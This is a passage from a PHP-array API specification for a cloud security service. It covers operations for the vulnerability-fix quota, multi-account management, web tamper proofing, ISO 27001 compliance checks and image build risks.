'oval:com.redhat.rhsa:def:20192143', ], 'required' => false, 'maxItems' => 10000, ], ], [ 'name' => 'Uuids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '95e8b759-44d7-4eb1-bb95-2b2d3b37****', ], 'required' => false, 'maxItems' => 10000, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'isTrial' => [ 'description' => 'Indicates whether Security Center is in free trial. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ExpendCount' => [ 'description' => 'The quota usage required for the current fix operation.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RemainCount' => [ 'description' => 'The quota that remains after the current fix operation is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RepairedCount' => [ 'description' => 'The number of the vulnerabilities that are fixed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'CanFix' => [ 'description' => 'Indicates whether the vulnerability can be fixed. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"isTrial\\": true,\\n \\"ExpendCount\\": 10,\\n \\"RemainCount\\": 0,\\n \\"RepairedCount\\": 10,\\n \\"CanFix\\": true\\n}","type":"json"}]', 'title' => 'CheckTrialFixCount', 'description' => 'You can call this operation to check whether the remaining quota of the vulnerability fixing feature is sufficient in free trial scenarios. This operation does not trigger vulnerability fixing.'."\n", ], 'CreateMonitorAccount' => [ 'summary' => 'Creates a list of members of the account monitored by Security Center type by using the multi-account management feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91930', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [ [ 'name' => 'AccountIds', 'in' => 'query', 'schema' => [ 'description' => 'The account IDs of members in the resource directory.'."\n" ."\n" .'> You can call the [ListAccountsInResourceDirectory](~~ListAccountsInResourceDirectory~~) operation to obtain the account IDs. Separate multiple account IDs with commas (,). If you specify a value for this parameter, the existing list of members is replaced by the new list that you specify. Otherwise, the existing list is cleared.'."\n", 'type' => 'string', 'required' => false, 'example' => '1026780160******,1457515594******', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], ], 'description' => 'The response parameters.', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\"\\n}","type":"json"}]', 'title' => 'CreateMonitorAccount', 'description' => 'You can call this operation only by using the management account of a resource directory or a delegated administrator account of Security Center.'."\n", ], 'DeleteMonitorAccount' => [ 'summary' => 'Deletes a member of the account managed by Security Center type of the multi-account management feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '91967', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'AccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the member that you want to delete.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the IDs of the members in the Security Center console.'."\n", 'type' => 'string', 'required' => true, 'example' => '1840517068******', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","type":"json"}]', 'title' => 'DeleteMonitorAccount', 'description' => 'You must use the management account of your resource directory or a delegated administrator account of Security Center to call this operation.'."\n", ], 'EnableServiceAccessResourceDirectory' => [ 'summary' => 'Enable the multi-account management feature of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92279', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '52870893-48A7-5A9E-9E05-6253E5B6****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'EntityNotExists.ResourceDir', 'errorMessage' => 'The resource directory does not exist.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52870893-48A7-5A9E-9E05-6253E5B6****\\"\\n}","type":"json"}]', 'title' => 'EnableServiceAccessResourceDirectory', 'description' => 'You must use the management account of your resource directory or a delegated administrator account of Security Center to call this operation.'."\n", ], 'ListAccountsInResourceDirectory' => [ 'summary' => 'Queries members in the resource directory that is involved when the multi-account management feature is enabled.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92323', 'abilityTreeNodes' => [ 'FEATUREsasFVYNUW', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'B7A839E8-70AE-591D-8D9E-C5419A2240DB', ], 'Accounts' => [ 'description' => 'The members in the resource directory.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the member.'."\n", 'type' => 'object', 'properties' => [ 'DisplayName' => [ 'description' => 'The name of the member.'."\n", 'type' => 'string', 'example' => 'abc**', ], 'AccountId' => [ 'description' => 'The Alibaba Cloud account ID of the member.'."\n", 'type' => 'string', 'example' => '180803538814****', ], 'FolderId' => [ 'description' => 'The ID of the folder in the resource directory.'."\n", 'type' => 'string', 'example' => 'fd-cE2SQP****', ], 'SasVersion' => [ 'description' => 'The edition of Security Center that you use. Valid value:'."\n" ."\n" .'* **0** or **1**: Basic'."\n" .'* **2** or **3**: Enterprise'."\n" .'* **5**: Advanced'."\n" .'* **6**: Anti-virus'."\n" .'* **7**: Ultimate'."\n", 'type' => 'string', 'example' => '0', ], 'IsMarked' => [ 'description' => 'Indicates whether the member is marked as followed.'."\n", 'type' => 'string', 'example' => 'no', ], 'IsSiemDaAccount' => [ 'description' => 'Indicates whether the member is a delegated administrator account of the threat analysis and response feature. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'no'."\n", ], 'IsSasDaAccount' => [ 'description' => 'Indicates whether the member is a delegated administrator account of Security Center. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'no', ], 'IsMaAccount' => [ 'description' => 'Indicates whether the member is an administrator account of the resource directory. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'no', ], 'SaleInstance' => [ 'description' => 'Cloud Security Center Instance ID.', 'type' => 'string', 'example' => 'postpay-sas-x5x3hy1ly***', ], 'IsSiemControlAccount' => [ 'description' => 'Indicates whether the member is an account of the threat analysis and response feature. Valid values:'."\n" ."\n" .'* **yes**'."\n" .'* **no**'."\n", 'type' => 'string', 'example' => 'no', ], 'ChargeType' => [ 'description' => 'Subscription type. Values:'."\n" .'* **0**: Prepaid'."\n" .'* **1**: Pay-As-You-Go', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InstanceBuyType' => [ 'description' => 'Instance purchase type. Values:'."\n" .'- **0**: Self-purchased'."\n" .'- **1**: Multi-account allocation', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'BuySas' => [ 'description' => 'This parameter is deprecated and should be ignored.', 'type' => 'integer', 'format' => 'int32', 'deprecated' => true, 'example' => 'true', ], 'PostPayModuleSwitch' => [ 'description' => 'The switch status of the pay-as-you-go module. The value is a JSON string. Valid values:'."\n" ."\n" .'* Key:'."\n" ."\n" .' * **VUL**: vulnerability fixing module'."\n" .' * **CSPM**: cloud service configuration check module'."\n" .' * **AGENTLESS**: agentless detection module'."\n" .' * **SERVERLESS**: serverless asset module'."\n" ."\n" .'* Value: A value of 0 specifies disabled. A value of 1 specifies enabled.'."\n" ."\n" .'> If you do not specify a value for a module, the original value of the module is retained.'."\n", 'type' => 'string', 'enumValueTitles' => [ '{\\"AGENTLESS\\":0,\\"CTDR\\":0,\\"CSPM\\":0,\\"SERVERLESS\\":0,\\"RASP\\":0,\\"SDK\\":0,\\"VUL\\":0,\\"POST_HOST\\":0}' => '{\\"AGENTLESS\\":0,\\"CTDR\\":0,\\"CSPM\\":0,\\"SERVERLESS\\":0,\\"RASP\\":0,\\"SDK\\":0,\\"VUL\\":0,\\"POST_HOST\\":0}', ], 'example' => '{\\"VUL\\":0}', ], 'BuySasNew' => [ 'description' => 'Whether a yearly or monthly subscription of Cloud Security Center is purchased. Values:'."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'example' => 'true', ], 'PostBasicService' => [ 'description' => 'Post-paid module switch. Values:'."\n" .'- **0**: Off'."\n" .'- **1**: On', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B7A839E8-70AE-591D-8D9E-C5419A2240DB\\",\\n \\"Accounts\\": [\\n {\\n \\"DisplayName\\": \\"abc**\\",\\n \\"AccountId\\": \\"180803538814****\\",\\n \\"FolderId\\": \\"fd-cE2SQP****\\",\\n \\"SasVersion\\": \\"0\\",\\n \\"IsMarked\\": \\"no\\",\\n \\"IsSiemDaAccount\\": \\"no\\\\n\\",\\n \\"IsSasDaAccount\\": \\"no\\",\\n \\"IsMaAccount\\": \\"no\\",\\n \\"SaleInstance\\": \\"postpay-sas-x5x3hy1ly***\\",\\n \\"IsSiemControlAccount\\": \\"no\\",\\n \\"ChargeType\\": 1,\\n \\"InstanceBuyType\\": 0,\\n \\"BuySas\\": 0,\\n \\"PostPayModuleSwitch\\": \\"{\\\\\\\\\\\\\\"VUL\\\\\\\\\\\\\\":0}\\",\\n \\"BuySasNew\\": true,\\n \\"PostBasicService\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListAccountsInResourceDirectory', 'description' => 'You must use the management account of your resource directory or a delegated administrator account of Security Center to call this operation.'."\n", ], 'ModifyWebLockRefresh' => [ 'summary' => 'Refreshes the status of the web tamper proofing feature for a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92403', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to refresh the status of the web tamper proofing feature.'."\n" ."\n" .'> You can call the [DescribeWebLockBindList](~~DescribeWebLockBindList~~) operation to query the servers for which the web tamper proofing feature is enabled.'."\n", 'type' => 'string', 'required' => false, 'example' => '55c0f41b-3093-47a7-8eae-02d3a584****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1CF8C834-8028-5E01-96E2-0F065EA99F6D', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DefenceEmptyConfig', 'errorMessage' => 'At least one protection directory is needed.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1CF8C834-8028-5E01-96E2-0F065EA99F6D\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockRefresh', 'description' => 'If an exception occurs when you enable or disable the web tamper proofing feature for a server, you can call this operation to refresh the status of the web tamper proofing feature.'."\n", ], 'DescribeCheckResult' => [ 'summary' => 'Queries the result of the ISO 27001 compliance check.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '215977', 'abilityTreeNodes' => [ 'FEATUREsas312EAH', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'PlainResult\\>'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], 'CheckResultList' => [ 'description' => 'The check results.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The check result.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the corresponding section. Valid values:'."\n" ."\n" .'* **information_classification**: information classification'."\n" .'* **information_mark**: information labeling'."\n" .'* **network_security_policy**: access to networks and network services'."\n" .'* **login_control**: secure logon procedures'."\n" .'* **week_password**: password management system'."\n" .'* **key_manage**: key management'."\n" .'* **malicious_software**: protection against malware'."\n" .'* **information_backup**: information backup'."\n" .'* **audit_policy**: information system audit control mechanisms'."\n", 'type' => 'string', 'example' => 'information_mark', ], 'ComplianceStatus' => [ 'description' => 'The compliance status. Valid values:'."\n" ."\n" .'* **1**: compliant'."\n" .'* **0**: non-compliant'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IConListError', 'errorMessage' => 'Get Icon List Error, please try again', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], [ 'errorCode' => 'Sign is invalid', 'errorMessage' => 'Signature verification did not pass.', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"CheckResultList\\": [\\n {\\n \\"Name\\": \\"information_mark\\",\\n \\"ComplianceStatus\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCheckResult', ], 'TriggerCheck' => [ 'summary' => 'Triggers ISO 27001 compliance checks of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '215968', 'abilityTreeNodes' => [ 'FEATUREsas312EAH', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '43313389-DED8-5BB7-8CB9-F22CDEB744DE', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"43313389-DED8-5BB7-8CB9-F22CDEB744DE\\"\\n}","type":"json"}]', 'title' => 'TriggerCheck', ], 'CreateRdDefaultSyncList' => [ 'summary' => 'Creates an automatic account management policy for members of the account monitored by Security Center type by using the multi-account management feature. After the policy is created, the members that are newly added to the specified resource directory are automatically added to the list of members of the account monitored by Security Center type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '213254', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [ [ 'name' => 'FolderIds', 'in' => 'query', 'schema' => [ 'description' => 'The IDs of the folders in the resource directory.'."\n" ."\n" .'> You can call the [GetRdTree](~~GetRdTree~~) operation to obtain the IDs of the folders. Separate multiple folder IDs with commas (,). If you do not specify a value for this parameter, the existing member list is cleared.'."\n", 'type' => 'string', 'required' => false, 'example' => 'fd-BwoXuf****,fd-CFamY7****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'BA674E4B-00CF-5DEA-8B92-360862FB5133', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BA674E4B-00CF-5DEA-8B92-360862FB5133\\"\\n}","type":"json"}]', 'title' => 'CreateRdDefaultSyncList', 'description' => 'You can call this operation only by using the management account of a resource directory or a delegated administrator account of Security Center.'."\n", ], 'ListRdDefaultSyncList' => [ 'summary' => 'Queries the automatic management policies of members that are added to Security Center for multi-account management. The members in the automatic control management directory are automatically added to the member list of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '213240', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned if the call is successful.'."\n", 'type' => 'object', 'properties' => [ 'FolderIds' => [ 'description' => 'The IDs of the folders in the resource directory.'."\n", 'type' => 'string', 'example' => 'fd-BwoXuf****,fd-CFamY7****'."\n", ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"FolderIds\\": \\"fd-BwoXuf****,fd-CFamY7****\\\\n\\"\\n },\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', 'title' => 'ListRdDefaultSyncList', 'description' => 'You must use the management account of your resource directory or a delegated administrator account of Security Center to call this operation.'."\n", ], 'GetRdTree' => [ 'summary' => 'Queries the organizational structure of a resource directory by using the multi-account management feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '213144', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The processing result.'."\n", 'type' => 'object', 'properties' => [ 'FolderId' => [ 'title' => '目录id', 'description' => 'The ID of the folder in the resource directory.'."\n", 'type' => 'string', 'example' => 'fd-CGA73I****', ], 'FolderName' => [ 'title' => '目录名称', 'description' => 'The name of the folder.'."\n", 'type' => 'string', 'example' => 'Root', ], 'Children' => [ 'title' => '子目录', 'description' => 'The subfolder.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The structure of the subfolder, which is the same as that of the parent folder.'."\n", 'type' => 'any', 'example' => '{'."\n" .' "children": ['."\n" .' {'."\n" .' "folderName": "345****",'."\n" .' "folderId": "fd-3T3LR6N****"'."\n" .' }'."\n" .' ],'."\n" .' "folderName": "123****",'."\n" .' "folderId": "fd-rEdk0a8***"'."\n" .'}', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"FolderId\\": \\"fd-CGA73I****\\",\\n \\"FolderName\\": \\"Root\\",\\n \\"Children\\": [\\n \\"{\\\\n \\\\\\"children\\\\\\": [\\\\n {\\\\n \\\\\\"folderName\\\\\\": \\\\\\"345****\\\\\\",\\\\n \\\\\\"folderId\\\\\\": \\\\\\"fd-3T3LR6N****\\\\\\"\\\\n }\\\\n ],\\\\n \\\\\\"folderName\\\\\\": \\\\\\"123****\\\\\\",\\\\n \\\\\\"folderId\\\\\\": \\\\\\"fd-rEdk0a8***\\\\\\"\\\\n}\\"\\n ]\\n },\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', 'title' => 'GetRdTree', 'description' => 'You can call this operation only by using the management account of a resource directory or a delegated administrator account of Security Center.'."\n", ], 'DescribeIdcAssetCriteria' => [ 'summary' => 'Queries the search conditions that can be used to query data center assets found after scanning in fuzzy match mode.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The keyword that is used to match assets in fuzzy mode.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testwww', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the IP address. Valid values:'."\n" ."\n" .'* **0**: The IP address is valid.'."\n" .'* **1**: The IP address is ignored.'."\n" .'* *2*: The IP address is invalid.'."\n" .'* *3*: The IP address is expired.'."\n" .'* *4*: The probe that is used to scan the IP address does not exist.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911****', ], 'CriteriaList' => [ 'description' => 'The information about the asset search conditions.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the asset search condition.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: The search condition needs to be specified.'."\n" .'* **select**: The search condition is an option that can be selected from the drop-down list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the search condition.'."\n", 'type' => 'string', 'example' => 'scannedIp', ], 'Values' => [ 'description' => 'The attribute values of the assets that match the keyword.'."\n", 'type' => 'string', 'example' => '1.1.1.*', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911****\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"scannedIp\\",\\n \\"Values\\": \\"1.1.1.*\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeIdcAssetCriteria', ], 'DescribeImageListByBuildRisk' => [ 'summary' => 'Queries a list of images that are affected by image build command risks by page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'medium', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'RiskKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the risk. You can call the [DescribeImageBuildRiskList](~~~~) operation to obtain the value of RiskKey.'."\n", 'type' => 'string', 'required' => false, 'example' => 'no_user', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The status of the alert event. Valid values:'."\n" ."\n" .'* **0**: unhandled.'."\n" .'* **1**: ignored.'."\n" .'* **2**: false positive.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The attribute value of the condition parameter.', 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'CriteriaType', 'in' => 'query', 'schema' => [ 'description' => 'The property name of the condition parameters. Values:'."\n" .' - **RepoNamespace**: Namespace.'."\n" .' - **RepoName**: Repository name.', 'type' => 'string', 'required' => false, 'example' => 'RepoNamespace', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult>', 'description' => 'The response parameters.>'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The images.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => '6ec898e6274f942e0e4a053eff1c****', 'title' => '', ], 'RegionId' => [ 'description' => 'The ID of the region.'."\n", 'type' => 